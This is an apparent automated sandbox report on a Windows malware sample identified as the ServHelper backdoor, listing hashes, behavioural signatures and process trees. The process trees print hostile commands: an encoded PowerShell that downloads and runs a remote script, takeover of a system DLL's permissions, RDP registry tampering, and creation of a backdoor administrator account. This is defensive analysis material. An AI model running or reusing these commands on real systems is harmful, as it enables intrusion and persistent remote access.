Analysis
-
max time kernel
126s -
max time network
121s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
03-06-2021 16:37
Static task
static1
Behavioral task
behavioral1
Sample
aa80d5960e65ac46ad446c09c1a17608.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
aa80d5960e65ac46ad446c09c1a17608.exe
Resource
win10v20210410
General
-
Target
aa80d5960e65ac46ad446c09c1a17608.exe
-
Size
6.0MB
-
MD5
aa80d5960e65ac46ad446c09c1a17608
-
SHA1
c2468b1792e5ecef461d2d89470e8438c05cce24
-
SHA256
857ddc8de567afa19f5bc9236f6cf3681e46919530f90acc25ff36112564432c
-
SHA512
07e15d76dc1940e0b3a926cfa6a5d92760525ae7f9e54bc8c691f1c9ea8af71ffe818aa347857a5c1435316d152a262a1875f03f465bc7be36a10e73bab6022b
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
-
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 10 1740 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
-
Possible privilege escalation attempt 8 IoCs
Processes:
icacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exepid process 1520 icacls.exe 1068 icacls.exe 1776 icacls.exe 1700 icacls.exe 1204 takeown.exe 572 icacls.exe 1972 icacls.exe 292 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
-
Processes:
resource yara_rule \Windows\Branding\mediasrv.png upx \Windows\Branding\mediasvc.png upx -
Loads dropped DLL 2 IoCs
Processes:
pid process 1732 1732 -
Modifies file permissions 1 TTPs 8 IoCs
Processes:
takeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exepid process 1204 takeown.exe 572 icacls.exe 1972 icacls.exe 292 icacls.exe 1520 icacls.exe 1068 icacls.exe 1776 icacls.exe 1700 icacls.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 21 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_56e4b977-0c25-4bf4-9d70-134c568835d2 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_76fcc62b-b597-4789-8fdb-5259ae3afd2f powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_21e54dc7-b318-4ab3-920f-ea7db2bea3fa powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8adfd9a7-0692-4288-85d2-452cc98792c6 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1ba02dd9-9613-4544-8f55-a1c225d346e8 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8ad1e642-df6d-4f37-a253-ec3b62f67027 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_48fb3a93-212f-4e89-b9d5-af32e03cbd91 powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7ITFXU0J7SJZVWP9Y1JZ.temp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5e656d95-c7af-4880-93ac-baeaa51f65e2 powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d0d876d3-7405-4c68-8828-b26c46dff95b powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_12c12b9f-873d-4335-9789-ab971cd54664 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4b2a6f7b-5154-4caf-aed7-4e553d8d97a6 powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
Processes:
WMIC.exeWMIC.exepowershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a030cb1da758d701 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 13 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 1744 powershell.exe 1744 powershell.exe 1096 powershell.exe 1096 powershell.exe 1732 powershell.exe 1732 powershell.exe 1084 powershell.exe 1084 powershell.exe 1744 powershell.exe 1744 powershell.exe 1744 powershell.exe 1740 powershell.exe 1740 powershell.exe -
Suspicious behavior: LoadsDriver 5 IoCs
Processes:
pid process 464 1732 1732 1732 1732 -
Suspicious use of AdjustPrivilegeToken 18 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exedescription pid process Token: SeDebugPrivilege 1744 powershell.exe Token: SeDebugPrivilege 1096 powershell.exe Token: SeDebugPrivilege 1732 powershell.exe Token: SeDebugPrivilege 1084 powershell.exe Token: SeRestorePrivilege 1972 icacls.exe Token: SeAssignPrimaryTokenPrivilege 980 WMIC.exe Token: SeIncreaseQuotaPrivilege 980 WMIC.exe Token: SeAuditPrivilege 980 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 980 WMIC.exe Token: SeIncreaseQuotaPrivilege 980 WMIC.exe Token: SeAuditPrivilege 980 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1520 WMIC.exe Token: SeIncreaseQuotaPrivilege 1520 WMIC.exe Token: SeAuditPrivilege 1520 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1520 WMIC.exe Token: SeIncreaseQuotaPrivilege 1520 WMIC.exe Token: SeAuditPrivilege 1520 WMIC.exe Token: SeDebugPrivilege 1740 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
aa80d5960e65ac46ad446c09c1a17608.exepowershell.execsc.exenet.execmd.execmd.exedescription pid process target process PID 2008 wrote to memory of 1744 2008 aa80d5960e65ac46ad446c09c1a17608.exe powershell.exe PID 2008 wrote to memory of 1744 2008 aa80d5960e65ac46ad446c09c1a17608.exe powershell.exe PID 2008 wrote to memory of 1744 2008 aa80d5960e65ac46ad446c09c1a17608.exe powershell.exe PID 1744 wrote to memory of 1828 1744 powershell.exe csc.exe PID 1744 wrote to memory of 1828 1744 powershell.exe csc.exe PID 1744 wrote to memory of 1828 1744 powershell.exe csc.exe PID 1828 wrote to memory of 1204 1828 csc.exe cvtres.exe PID 1828 wrote to memory of 1204 1828 csc.exe cvtres.exe PID 1828 wrote to memory of 1204 1828 csc.exe cvtres.exe PID 1744 wrote to memory of 1096 1744 powershell.exe powershell.exe PID 1744 wrote to memory of 1096 1744 powershell.exe powershell.exe PID 1744 wrote to memory of 1096 1744 powershell.exe powershell.exe PID 1744 wrote to memory of 1732 1744 powershell.exe powershell.exe PID 1744 wrote to memory of 1732 1744 powershell.exe powershell.exe PID 1744 wrote to memory of 1732 1744 powershell.exe powershell.exe PID 1744 wrote to memory of 1084 1744 powershell.exe powershell.exe PID 1744 wrote to memory of 1084 1744 powershell.exe powershell.exe PID 1744 wrote to memory of 1084 1744 powershell.exe powershell.exe PID 1744 wrote to memory of 1204 1744 powershell.exe takeown.exe PID 1744 wrote to memory of 1204 1744 powershell.exe takeown.exe PID 1744 wrote to memory of 1204 1744 powershell.exe takeown.exe PID 1744 wrote to memory of 572 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 572 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 572 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 1972 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 1972 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 1972 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 292 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 292 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 292 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 1520 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 1520 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 1520 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 1068 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 1068 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 1068 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 1776 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 1776 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 1776 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 1700 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 1700 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 1700 1744 powershell.exe icacls.exe PID 1744 wrote to memory of 1600 1744 powershell.exe reg.exe PID 1744 wrote to memory of 1600 1744 powershell.exe reg.exe PID 1744 wrote to memory of 1600 1744 powershell.exe reg.exe PID 1744 wrote to memory of 508 1744 powershell.exe reg.exe PID 1744 wrote to memory of 508 1744 powershell.exe reg.exe PID 1744 wrote to memory of 508 1744 powershell.exe reg.exe PID 1744 wrote to memory of 1696 1744 powershell.exe reg.exe PID 1744 wrote to memory of 1696 1744 powershell.exe reg.exe PID 1744 wrote to memory of 1696 1744 powershell.exe reg.exe PID 1744 wrote to memory of 1364 1744 powershell.exe net.exe PID 1744 wrote to memory of 1364 1744 powershell.exe net.exe PID 1744 wrote to memory of 1364 1744 powershell.exe net.exe PID 1364 wrote to memory of 2040 1364 net.exe net1.exe PID 1364 wrote to memory of 2040 1364 net.exe net1.exe PID 1364 wrote to memory of 2040 1364 net.exe net1.exe PID 1744 wrote to memory of 1760 1744 powershell.exe cmd.exe PID 1744 wrote to memory of 1760 1744 powershell.exe cmd.exe PID 1744 wrote to memory of 1760 1744 powershell.exe cmd.exe PID 1760 wrote to memory of 548 1760 cmd.exe cmd.exe PID 1760 wrote to memory of 548 1760 cmd.exe cmd.exe PID 1760 wrote to memory of 548 1760 cmd.exe cmd.exe PID 548 wrote to memory of 1980 548 cmd.exe net.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\aa80d5960e65ac46ad446c09c1a17608.exe"C:\Users\Admin\AppData\Local\Temp\aa80d5960e65ac46ad446c09c1a17608.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5kisgcpo\5kisgcpo.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA5D.tmp" "c:\Users\Admin\AppData\Local\Temp\5kisgcpo\CSC62A9160FDF734FD5B8D7EC570E781E5.TMP"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet start rdpdr5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
-
C:\Windows\system32\cmd.execmd /c net start TermService4⤵
-
C:\Windows\system32\net.exenet start TermService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc Ghar4f5 /del1⤵
-
C:\Windows\system32\net.exenet.exe user wgautilacc Ghar4f5 /del2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc Ghar4f5 /del3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc ydmkirZK /add1⤵
-
C:\Windows\system32\net.exenet.exe user wgautilacc ydmkirZK /add2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc ydmkirZK /add3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD1⤵
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD1⤵
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD1⤵
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" wgautilacc /ADD2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc ydmkirZK1⤵
-
C:\Windows\system32\net.exenet.exe user wgautilacc ydmkirZK2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc ydmkirZK3⤵
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵
-
C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.execmd.exe /C net user wgautilacc 12341⤵
-
C:\Windows\system32\net.exenet user wgautilacc 12342⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc 12343⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_19c29f81-2f37-48e8-badb-9169608082ffMD5
a70ee38af4bb2b5ed3eeb7cbd1a12fa3
SHA181dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9
SHA256dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d
SHA5128c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6e304f41-8e5c-4bf1-b26d-d7fde46d360fMD5
7f79b990cb5ed648f9e583fe35527aa7
SHA171b177b48c8bd745ef02c2affad79ca222da7c33
SHA256080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683
SHA51220926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_715da140-e2da-4d1f-b36e-45bd3108716fMD5
e5b3ba61c3cf07deda462c9b27eb4166
SHA1b324dad73048be6e27467315f82b7a5c1438a1f9
SHA256b84fae85b6203a0c8c9db3ba3c050c97d6700e5c9ae27dd31c103ec1bbb02925
SHA512a5936a098db2e8c0d0231fd97d73cc996ad99897fd64f0e5c6761c44b8eb2db2bff477843d326503e6027c1113da0e8e35f4227195a3cf505c5a374ebe0f67fc
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7f1841ab-4336-4cd2-9954-325aaf09d00eMD5
6f0d509e28be1af95ba237d4f43adab4
SHA1c665febe79e435843553bee86a6cea731ce6c5e4
SHA256f545be30e70cd6e1b70e98239219735f6b61c25712720bb1e1738f02be900e7e
SHA5128dbadc140fd18eb16e2a282e3a0a895299b124850e7b9454a3f24e1cc1c090c5bebfbff5062e8807369e84ed7359e0854722cfd45b9a63681f9fea8c97fab797
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8515c37e-0b70-4d21-adf4-cb6f04ac6fa4MD5
faa37917b36371249ac9fcf93317bf97
SHA1a0f0d84d58ee518d33a69f5f1c343aa921c8ffd4
SHA256b92f1a891dbe4152a1f834774cc83378d8b4cffb7e344a813219d74ec4084132
SHA512614d3692e5be7554a72a38af408458254af271eaf6855f322ae07aaa647b1478c7ad13027285c8d9999db3739d65ac85ecfdf3e56acca8484083aa0e31de2198
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c2a90320-db7c-4748-aa14-e7ece2f23a3dMD5
2d5cd190b5db0620cd62e3cd6ba1dcd3
SHA1ff4f229f4fbacccdf11d98c04ba756bda80aac7a
SHA256ab9aee31b3411bcc5a5fb51e9375777cca79cfb3a532d93ddd98a5673c60571d
SHA512edb2a46f3ee33b48f8fe0b548c1e7940978d0e4ac90d5090807d8b5c8b1320217e5d66990b1d0a85546acbbaf9b601590d35de87de234da8eafd60d12fdce610
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_edf9fa20-c5cd-4a28-83c3-f7da6ae2b836MD5
d89968acfbd0cd60b51df04860d99896
SHA1b3c29916ccb81ce98f95bbf3aa8a73de16298b29
SHA2561020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9
SHA512b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexMD5
5a73fa95ac5e73faae35c8640d778132
SHA13bb80f4e5d769715c364ac3ee2bae085afe082ba
SHA25631d8a0fc6955e602c45154d85adcac0759e13c415d922e17ef1bb01ef96eccac
SHA5129cc51e4b836856c7442d8539d502fd4e7a52b413e0bb76aff718d99741c410f001fec329bbff2537c7cbf053bcb87e1ce76e4d3d89382514e8ffdb20481b81a5
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexMD5
b491a1965dda7b85a2f0d49e88aaadd5
SHA1cb608d977bb900fc002721cfaa315dd9950fcaff
SHA256bba0a6ba4f6bdd66c7e24bca365958e5d5a0c3d0d9ac3216b053352d7dae4fb0
SHA512946932b62a58d711ca460d425f88a9d541a4600c2a059a8557aa1cb06266410549eb5bbb64df8283c845aaad678865df4995ddfa47ca739344c5661f29b5f12d
-
C:\Users\Admin\AppData\Local\Temp\5kisgcpo\5kisgcpo.dllMD5
1b38c153ce43cc4c0c19d1f98faf9525
SHA1530d5c55a01fb11c496af0f2e4229b9608bbf31c
SHA25613e14482c2cea3799ba19e9165505235786c7d3f63b52d8d2e77f450b86dbf15
SHA51201dc41ec372e044c809fdc975c91ec53454cfc13a43e73966abdfcf4b6d18a32be1fe59ec62fd96ccb0714572873e739d45a4dcda55a7651091960325ab25770
-
C:\Users\Admin\AppData\Local\Temp\Get-Content.PS1MD5
b2207567c6a62b42655772770ce2a4e6
SHA151074ad655105f0c496f4017e8afee90d9cab900
SHA256d7b206f39b6f6996cb9472df9fa350ab9da7f1eca47f782c4e5d05ca338daaab
SHA51285d8eb5772d672b1e84b3f09048c207ed7ecaa7f68f14dc34baa34dd49ed0d674ff150eec20932e468a7a4d17d91d22caa639fe8d9bab0bed0105c4c38631bb5
-
C:\Users\Admin\AppData\Local\Temp\RESA5D.tmpMD5
11bb5dc3800468e3794eb2d6d3d5656d
SHA18fc5d1f1fa9647dce108dd662bd4b495279b2fb9
SHA256093738ac65b0c897c4302464240260791784509ec07e6c26eb12dc9e1352b0f5
SHA512c3cc723b2c0b0ed0948b0e2da40ef212ebf832f02b10b4a9db5d4f109749651ad52f2249ed5f6e770dff02ba77e66796496895197c03b08ba9bfcf84513225d0
-
C:\Users\Admin\AppData\Local\Temp\ready.ps1MD5
065cc96fec70546c9f195f703e4d657b
SHA19da24636d8fd3de61f46ff7282640d3fa27d6b45
SHA256cc7097fa515dfc07033464b5e71ba0172f440bd4043ec1c7c48c6ce4f18e3bc3
SHA512a2fefe055067d832736c109d1ea50921bfc9275bb6fe11e57f4245cac52e1758b9b2d7fe893ece0fe5101b3cb5a1229011b8e517fe31de5202c4a7f0fa39aec0
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msMD5
41718a8143f8f3f12e5afeb94dec0794
SHA1852d09ac2b909608c7c916bf572f11f80036fa63
SHA25689defcb6787bf3cd67a0e6d50551c4279fc8d96568892f865bbc2a7af9538abc
SHA5122eebc547e35d1b79c7624c12d7a26315e356b6b3d137216f50c4cf81d2917bb8f9a904ce9197addb84db8e9045a52fec6a8134d1242a641d15e27569b0653fd3
-
